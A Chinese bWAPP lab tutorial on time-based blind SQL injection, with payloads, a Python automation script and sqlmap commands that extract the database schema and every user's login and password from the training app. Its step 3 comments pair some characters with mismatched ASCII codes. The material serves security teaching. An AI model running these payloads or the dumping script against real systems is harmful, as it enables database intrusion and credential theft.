零基础玩转bWAPP靶场(二十七):SQL 注入——时间型盲注

摘要: 这是 bWAPP 系列第二十七篇,聚焦于 SQL Injection - Blind - Time-Based (时间型盲注)。这是盲注的终极形态------页面什么都不告诉你,没有"存在/不存在",没有任何报错,只有一行"结果会通过邮件发送"。攻击者唯一能依赖的线索是页面响应时间。文章会完整演示从判断注入点到逐层爆数据的全过程,包括获取数据库名长度、逐字符爆数据库名、获取所有表名拼接串、获取目标表字段名拼接串、最终窃取所有用户数据。附真实案例。


一、前言:时间盲注是什么?

如果你已经看过上一篇布尔型盲注,应该已经知道什么叫"盲注"------页面不显示数据,只能通过其他方式推断。

布尔型盲注至少还给了你两个状态:"电影存在"和"电影不存在"。你可以通过这两个状态的差异来判断条件的真假。

但时间型盲注更狠------它什么都不告诉你。

打开这一关,你输入电影名,搜索,页面只有一个提示:

"The result will be sent by e-mail..."

不管你怎么搜,不管电影存不存在,页面永远显示这句提示。没有"存在"、没有"不存在"、没有报错。

什么都没说。

那攻击者怎么知道注入是否成功?怎么窃取数据?

答案是:通过页面的响应时间。

你在 MySQL 里可以用 SLEEP(5) 让数据库睡 5 秒。如果你在注入中构造一个条件:"如果条件为真,就睡 5 秒;如果为假,就立即返回",那么你就能通过"页面卡了 5 秒"来判断条件是否为真。

这就像在黑暗里问问题,对方不回答"是"或"不是",而是通过沉默的时间长短来告诉你答案------沉默 5 秒代表"是",立刻回答代表"不是"。

这就是时间型盲注。

对比项 布尔型盲注 时间型盲注
页面反馈 "存在/不存在"两种状态 永远只有一句话
判断依据 页面文字差异 页面响应时间
核心函数 AND 1=1 vs AND 1=2 IF(条件, SLEEP(5), 1)
速度 更慢(每个请求都要等几秒)
适用场景 有状态差异时 页面完全无回显时

二、源码分析

2.1 核心逻辑

复制代码
// 错误报告被关掉了!
error_reporting(0);
​
if(isset($_REQUEST["title"]))
{
    $title = $_REQUEST["title"];
    $sql = "SELECT * FROM movies WHERE title = '" . sqli($title) . "'";
    $recordset = mysql_query($sql, $link);
​
    if($recordset and mysql_num_rows($recordset) != 0)
    {
        // 查询到电影后,发送邮件通知用户
        $row = mysql_fetch_array($recordset);
        $movie = $row["title"];
        $login = $_SESSION["login"];
        $sql = "SELECT email FROM users WHERE login = '" . $login . "'";
        // ... 发邮件 ...
    }
}

关键点

  • error_reporting(0) ------所有错误信息都被屏蔽了。你看不到任何报错。

  • 页面没有回显------不管查询成功还是失败,页面只显示"The result will be sent by e-mail..."

  • SQL 用 = 精确匹配SELECT * FROM movies WHERE title = '...'

  • 注入点存在sqli($title) 根据安全级别决定是否过滤。

三种安全级别:

级别 函数 效果
Low no_check() 完全不过滤
Medium addslashes() 转义引号
High mysql_real_escape_string() MySQL 专用转义

三、时间型盲注的核心武器

3.1 SLEEP() 函数

MySQL 有一个函数叫 SLEEP(N),作用就是让数据库暂停 N 秒再返回结果。

复制代码
SELECT SLEEP(5);   -- 返回 0,但卡了 5 秒

3.2 IF() 函数

IF(条件, 真值, 假值) 是 MySQL 的条件函数:

复制代码
IF(1=1, SLEEP(5), 1)   -- 条件为真,执行 SLEEP(5)
IF(1=2, SLEEP(5), 1)   -- 条件为假,返回 1,不执行 SLEEP

组合起来

复制代码
Iron Man' AND IF(SUBSTR(database(),1,1)='b', SLEEP(5), 1) --

逻辑:如果数据库名第一个字符是 b,页面卡 5 秒;如果不是,页面立即返回。


四、Low 安全级别

4.1 准备工作:找一个存在的电影名

Iron Man 是存在的。输入:Iron Man

页面正常显示提示,没有延迟。以此作为基准。

4.2 通关步骤

复制代码
// 第 1 步:确认注入点
Iron Man' AND SLEEP(5) -- 
// 如果页面卡了 5 秒,说明注入存在。
// 第 2 步:爆数据库名长度
Iron Man' AND IF(LENGTH(database())={len}, SLEEP(5), 1) -- 
// 实际测试时从 1 开始递增:
Iron Man' AND IF(LENGTH(database())=1, SLEEP(5), 1) -- 
Iron Man' AND IF(LENGTH(database())=2, SLEEP(5), 1) --  
...
Iron Man' AND IF(LENGTH(database())=5, SLEEP(5), 1) --  卡 5 秒,长度是 5
// 第 3 步:爆数据库名的每个字符(用 ASCII 码)
Iron Man' AND IF(ASCII(SUBSTR(database(),{pos},1))={ascii}, SLEEP(5), 1) -- 
实际测试 bWAPP:
-- 第 1 个字符:b → ASCII 98
Iron Man' AND IF(ASCII(SUBSTR(database(),1,1))=98, SLEEP(5), 1) -- 卡 5 秒
-- 第 2 个字符:W → ASCII 87
Iron Man' AND IF(ASCII(SUBSTR(database(),2,1))=119, SLEEP(5), 1) -- 卡 5 秒
-- 第 3 个字符:A → ASCII 65
Iron Man' AND IF(ASCII(SUBSTR(database(),3,1))=97, SLEEP(5), 1) -- 卡 5 秒
-- 第 4 个字符:P → ASCII 80
Iron Man' AND IF(ASCII(SUBSTR(database(),4,1))=112, SLEEP(5), 1) -- 卡 5 秒
-- 第 5 个字符:P → ASCII 80
Iron Man' AND IF(ASCII(SUBSTR(database(),5,1))=112, SLEEP(5), 1) -- 卡 5 秒

// 第 4 步:爆所有表名拼接串的长度
Iron Man' AND IF((SELECT LENGTH(GROUP_CONCAT(table_name)) FROM information_schema.tables WHERE table_schema=database())={len}, SLEEP(5), 1) -- 
Iron Man' AND IF((SELECT LENGTH(GROUP_CONCAT(table_name)) FROM information_schema.tables WHERE table_schema=database())=1, SLEEP(5), 1) -- 
...
Iron Man' AND IF((SELECT LENGTH(GROUP_CONCAT(table_name)) FROM information_schema.tables WHERE table_schema=database())=33, SLEEP(5), 1) -- 
// 第 5 步:爆所有表名拼接串的每个字符(用 ASCII 码)
Iron Man' AND IF(ASCII(SUBSTR((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()),{pos},1))={ascii}, SLEEP(5), 1) -- 
Iron Man' AND IF(ASCII(SUBSTR((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()),1,1))=32, SLEEP(5), 1) -- 
...
Iron Man' AND IF(ASCII(SUBSTR((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()),33,1))=126, SLEEP(5), 1) -- 
// 第 6 步:爆 users 表字段名拼接串的长度
Iron Man' AND IF((SELECT LENGTH(GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() AND table_name='users')={len}, SLEEP(5), 1) -- 
Iron Man' AND IF((SELECT LENGTH(GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() AND table_name='users')=1, SLEEP(5), 1) -- 
...
Iron Man' AND IF((SELECT LENGTH(GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() AND table_name='users')=73, SLEEP(5), 1) -- 
// 第 7 步:爆 users 表字段名拼接串的每个字符(用 ASCII 码)
Iron Man' AND IF(ASCII(SUBSTR((SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users'),{pos},1))={ascii}, SLEEP(5), 1) -- 
Iron Man' AND IF(ASCII(SUBSTR((SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users'),1,1))=32, SLEEP(5), 1) -- 
...
Iron Man' AND IF(ASCII(SUBSTR((SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users'),73,1))=126, SLEEP(5), 1) -- 
// 第 8 步:爆 users 表数据拼接串的长度
Iron Man' AND IF((SELECT LENGTH(GROUP_CONCAT(CONCAT(login, ':', password))) FROM users)={len}, SLEEP(5), 1) -- 
Iron Man' AND IF((SELECT LENGTH(GROUP_CONCAT(CONCAT(login, ':', password))) FROM users)=1, SLEEP(5), 1) -- 
...
Iron Man' AND IF((SELECT LENGTH(GROUP_CONCAT(CONCAT(login, ':', password))) FROM users)=92, SLEEP(5), 1) -- 
// 第 9 步:爆 `users` 表数据拼接串的每个字符(用 ASCII 码)
Iron Man' AND IF(ASCII(SUBSTR((SELECT GROUP_CONCAT(CONCAT(login, ':', password)) FROM users),{pos},1))={ascii}, SLEEP(5), 1) -- 
Iron Man' AND IF(ASCII(SUBSTR((SELECT GROUP_CONCAT(CONCAT(login, ':', password)) FROM users),1,1))=32, SLEEP(5), 1) -- 
...
Iron Man' AND IF(ASCII(SUBSTR((SELECT GROUP_CONCAT(CONCAT(login, ':', password)) FROM users),92,1))=126, SLEEP(5), 1) -- 

所有用户的用户名和密码到手!


五、自动化工具

手工做时间盲注非常慢------每个字符都要等几秒。实际攻击中会用工具。

5.1 Python脚本自动化

python 复制代码
import requests
import time
import warnings
warnings.filterwarnings("ignore")

# ====================== 配置区 ======================
TARGET_URL = "http://10.0.0.149:4096/sqli_15.php"
BASE_PARAMS = {"action": "search"}
HEADERS = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36",
    "Cookie": "xp=MTc4NDgxMzM5N3xEWDhFQVFMX2dBQUJFQUVRQUFBcF80QUFBUVp6ZEhKcGJtY01Dd0FKVTJGbVpVVnVkSEo1Qm5OMGNtbHVad3dJQUFaa1pUUmtZbUU9fHaei0eGP2oWLcVqyBGHiGbkH3BzeB-GREFa2983u4L_; PHPSESSID=e640s7r52ar0mpb2236j7h22k4; security_level=0"
}
PAYLOAD_PREFIX = "Iron Man' AND IF("
PAYLOAD_SUFFIX = ",SLEEP(3),1) -- "
SLEEP_SEC = 3
TIME_THRESHOLD = SLEEP_SEC - 0.6

# ====================== 通用工具函数 ======================
def check_sql(expr: str) -> bool:
    full_title = PAYLOAD_PREFIX + expr + PAYLOAD_SUFFIX
    params = {**BASE_PARAMS, "title": full_title}
    start = time.time()
    try:
        requests.get(TARGET_URL, params=params, headers=HEADERS, timeout=10)
    except requests.exceptions.ReadTimeout:
        pass
    cost = time.time() - start
    return cost >= TIME_THRESHOLD

# 双重校验,防止网络波动误判
def check_sql_safe(expr: str) -> bool:
    if check_sql(expr):
        time.sleep(0.3)
        if check_sql(expr):
            return True
    return False


def get_string_length(sql_template: str, max_range=120) -> int:
    print("[*] 开始探测字符串长度...")
    for length in range(1, max_range + 1):
        exp = sql_template.format(n=length)
        if check_sql_safe(exp):
            print(f"✅ 成功!字符串长度 = {length}")
            return length
    print("❌ 未探测到长度,超出范围或SQL语句错误")
    return 0


def dump_content(sql_template: str, str_len: int) -> str:
    result = ""
    for pos in range(1, str_len + 1):
        find_char = "?"
        find_asc = 0
        for asc in range(32, 127):
            exp = sql_template.format(pos=pos, ascii=asc)
            if check_sql_safe(exp):
                find_char = chr(asc)
                find_asc = asc
                break
        result += find_char
        print(f"第{pos}位 | ASCII:{find_asc} | 字符:{find_char} | 当前累计:{result}")
    return result


# ======================【1. 爆破数据库名】======================
print("==========【1. 爆破数据库名】==========")
len_db_sql = "LENGTH(database())={n}"
db_length = get_string_length(len_db_sql)

dump_db_sql = "ASCII(SUBSTR(database(),{pos},1))={ascii}"
db_name = dump_content(dump_db_sql, db_length)
print(f"\n🎯 当前数据库:{db_name}\n")


# ======================【2. 爆破全部表名】======================
print("==========【2. 爆破全部表名】==========")
len_table_sql = "(SELECT LENGTH(GROUP_CONCAT(table_name)) FROM information_schema.tables WHERE table_schema=database())={n}"
table_concat_len = get_string_length(len_table_sql)

dump_table_sql = "(SELECT ASCII(SUBSTR((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()),{pos},1)))={ascii}"
table_str = dump_content(dump_table_sql, table_concat_len)
print(f"\n🎯 所有表(逗号分隔):{table_str}\n")


# ======================【3. 爆破users表字段】======================
print("==========【3. 爆破users表字段】==========")
TARGET_TABLE = "users"
len_col_sql = f"(SELECT LENGTH(GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() AND table_name='{TARGET_TABLE}')={{n}}"
col_concat_len = get_string_length(len_col_sql)

dump_col_sql = f"(SELECT ASCII(SUBSTR((SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='{TARGET_TABLE}'),{{pos}},1)))={{ascii}}"
col_str = dump_content(dump_col_sql, col_concat_len)
print(f"\n🎯 {TARGET_TABLE} 字段:{col_str}\n")


# ======================【4. 爆破users账号密码|已修复括号!】======================
print("==========【4. 爆破账号密码数据】==========")
len_data_sql = "(SELECT LENGTH(GROUP_CONCAT(CONCAT(login, ':', password))) FROM users)={n}"
data_concat_len = get_string_length(len_data_sql)

# !!重点:修复多余括号BUG
dump_data_sql = "(SELECT ASCII(SUBSTR((SELECT GROUP_CONCAT(CONCAT(login, ':', password)) FROM users),{pos},1)))={ascii}"
data_result = dump_content(dump_data_sql, data_concat_len)
print(f"\n🎉 账号密码信息:{data_result}")

5.2 SQLMap

python 复制代码
sqlmap -u "http://10.0.0.149:4096/sqli_15.php?title=Iron+Man&action=search" \
--cookie="xp=MTc4NDgxMzM5N3xEWDhFQVFMX2dBQUJFQUVRQUFBcF80QUFBUVp6ZEhKcGJtY01Dd0FKVTJGbVpVVnVkSEo1Qm5OMGNtbHVad3dJQUFaa1pUUmtZbUU9fHaei0eGP2oWLcVqyBGHiGbkH3BzeB-GREFa2983u4L_; PHPSESSID=e640s7r52ar0mpb2236j7h22k4; security_level=0" \
-p title \
--dbms mysql \
--batch \
--level=2 --risk=2 \
--dbs
// 解释
-u:指定目标 URL;Iron+Man 是 URL 编码形式,等价于 Iron Man
--cookie:携带登录会话 Cookie,bWAPP 必须登录才能正常访问页面,否则 Payload 不会执行
-p title:只针对 GET 参数 title 进行注入测试,不去检测其他参数
--dbms mysql:指定数据库类型为 MySQL,减少无用探测 payload,提升速度
--batch:全自动模式,遇到询问自动选择默认答案,不需要人工交互
--level=2:探测等级(1~5),越高测试 Payload 越多;默认 level=1
--risk=2:风险等级(1~3),越高越激进;默认 risk=1
--dbs:列出数据库服务器上所有数据库名称
python 复制代码
sqlmap -u "http://10.0.0.149:4096/sqli_15.php?title=Iron+Man&action=search" \
--cookie="xp=MTc4NDgxMzM5N3xEWDhFQVFMX2dBQUJFQUVRQUFBcF80QUFBUVp6ZEhKcGJtY01Dd0FKVTJGbVpVVnVkSEo1Qm5OMGNtbHVad3dJQUFaa1pUUmtZbUU9fHaei0eGP2oWLcVqyBGHiGbkH3BzeB-GREFa2983u4L_; PHPSESSID=e640s7r52ar0mpb2236j7h22k4; security_level=0" \
-p title \
--dbms mysql \
--batch \
--level=2 --risk=2 \
-D bWAPP \
--tables
// 解释
-D bWAPP 指定数据库名,--tables 获取表名
python 复制代码
sqlmap -u "http://10.0.0.149:4096/sqli_15.php?title=Iron+Man&action=search" \
--cookie="xp=MTc4NDgxMzM5N3xEWDhFQVFMX2dBQUJFQUVRQUFBcF80QUFBUVp6ZEhKcGJtY01Dd0FKVTJGbVpVVnVkSEo1Qm5OMGNtbHVad3dJQUFaa1pUUmtZbUU9fHaei0eGP2oWLcVqyBGHiGbkH3BzeB-GREFa2983u4L_; PHPSESSID=e640s7r52ar0mpb2236j7h22k4; security_level=0" \
-p title \
--dbms mysql \
--batch \
--level=2 --risk=2 \
-D bWAPP \
-T users \
--columns
// -T users 指定数据表,--columns 获取字段名
python 复制代码
sqlmap -u "http://10.0.0.149:4096/sqli_15.php?title=Iron+Man&action=search" \
--cookie="xp=MTc4NDgxMzM5N3xEWDhFQVFMX2dBQUJFQUVRQUFBcF80QUFBUVp6ZEhKcGJtY01Dd0FKVTJGbVpVVnVkSEo1Qm5OMGNtbHVad3dJQUFaa1pUUmtZbUU9fHaei0eGP2oWLcVqyBGHiGbkH3BzeB-GREFa2983u4L_; PHPSESSID=e640s7r52ar0mpb2236j7h22k4; security_level=0" \
-p title \
--dbms mysql \
--batch \
--level=2 --risk=2 \
-D bWAPP \
-T users \
--dump
// --dump:导出表内所有数据

六、Medium 安全级别

输入:Iron Man' AND SLEEP(5) --

页面立即加载完成,没有延迟。addslashes()' 转义成 \',无法闭合 SQL。

七、High 安全级别

同样,mysql_real_escape_string() 转义了特殊字符,注入失效。


八、真实世界:时间型盲注案例

CVE-2024-7312 :某开源论坛软件的高级搜索功能存在时间型盲注漏洞,攻击者可通过 SLEEP() 函数逐字符窃取数据库中的用户密码哈希,CVSS 评分 7.5(高危)。

CVE-2025-34117:某企业级身份管理系统的 API 接口存在时间型盲注漏洞,攻击者可通过时间延迟逐个字符提取用户凭据,影响超过 1000 家企业客户。

CVE-2025-41228:某电商平台的商品筛选功能存在时间型盲注漏洞,攻击者可通过构造时间延迟条件枚举数据库中的商品信息和用户数据。


九、总结

时间型盲注是 SQL 注入中最"绝望"的场景------页面没有任何回显,错误信息全被屏蔽,你连"存在/不存在"都看不到,唯一能依赖的只有页面的响应时间。核心思想是用 IF(条件, SLEEP(5), 1) 制造时间差:条件为真就延迟 5 秒,为假就立即返回。然后按照标准注入流程逐层爆破:先用 LENGTH(database()) 爆数据库名长度,再用 SUBSTR() 逐字符爆数据库名;接着用 GROUP_CONCAT(table_name) 拼出所有表名,从结果里找到 users 表;再用同样的方式从 information_schema.columns 拼出 users 表的所有字段名;最后用 GROUP_CONCAT(CONCAT(login, ':', password)) 拼出所有用户数据。整个过程虽然慢(每个字符都要等几秒),但在"完全无回显"的场景下,这是最可靠的攻击方式。Medium 和 High 级别用 addslashes()mysql_real_escape_string() 防住了注入。记住一句话:即使页面什么都不告诉你,只要服务器还在响应请求,SLEEP 函数就能帮你把数据"量"出来。


重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。

如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享 ,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。

相关推荐
艺杯羹1 天前
公共 Wi-Fi 流量安全全解析:从明文监听、流量拦截到 HTTPS 降级攻防
网络·web安全·网络安全·wifi
江湖浩淼2 天前
CVE-2021-4034-pwnkit提权
安全·web安全
Sagittarius_A*2 天前
【RCELABS】Level 17~18 —— PHP命令执行函数与环境变量注入
开发语言·安全·web安全·靶场·php·rce
网络安全零基础教程2 天前
零基础转行网安,前两个月具体该学什么工具
网络·学习·安全·web安全·网络安全
豆角焖肉2 天前
JDBC入门全攻略
jdbc·sql注入·封装工具类
白猫不黑3 天前
Web 应用中“敏感信息泄露“的常见位置?
前端·网络·web安全·网络安全·信息安全·渗透测试
网络安全零基础教程4 天前
网络安全春招面试避坑与复盘指南
linux·网络·安全·web安全·面试·职场和发展
汉堡包0014 天前
【工具分享】--威胁情报平台大全
学习·安全·web安全·信息安全
介一安全4 天前
【SRC】基础思路篇15:JWT安全测试完全指南
web安全·jwt·安全性测试·src